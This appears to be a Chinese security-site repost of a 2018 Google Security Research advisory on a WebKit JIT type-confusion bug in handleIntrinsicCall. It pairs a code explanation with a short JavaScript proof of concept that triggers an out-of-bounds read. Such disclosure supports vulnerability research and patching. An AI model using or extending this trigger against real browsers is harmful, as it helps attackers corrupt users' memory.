首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WebKit JIT - 'ByteCodeParser::handleIntrinsicCall' Type Confusion
来源:Google Security Research 作者:Google 发布时间:2018-11-30  
/*
    case ArrayPushIntrinsic: {
        ...
 
        if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
            return false;
 
        ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);
        
        ...
    }
 
This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.
 
Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.
 
PoC:
*/
 
Array.prototype.__defineGetter__('a', Array.prototype.push);
 
function opt() {
    let arr = new Array(1, 2, 3, 4);
    arr['a' + ''];
}
 
for (let i = 0; i < 1000; i++) {
    opt();
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WebKit JSC JIT - 'JSPropertyNa
·WebKit JSC - BytecodeGenerator
·Unitrends Enterprise Backup bp
·knc (Kerberized NetCat) Denial
·PHP imap_open Remote Code Exec
·Schneider Electric PLC - Sessi
·Linux Nested User Namespace id
·Linux Kernel 4.8 (Ubuntu 16.04
·Mac OS X libxpc MITM Privilege
·HTML5 Video Player 1.2.5 - Buf
·TeamCity Agent XML-RPC Command
·xorg-x11-server < 1.20.3 - 'mo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved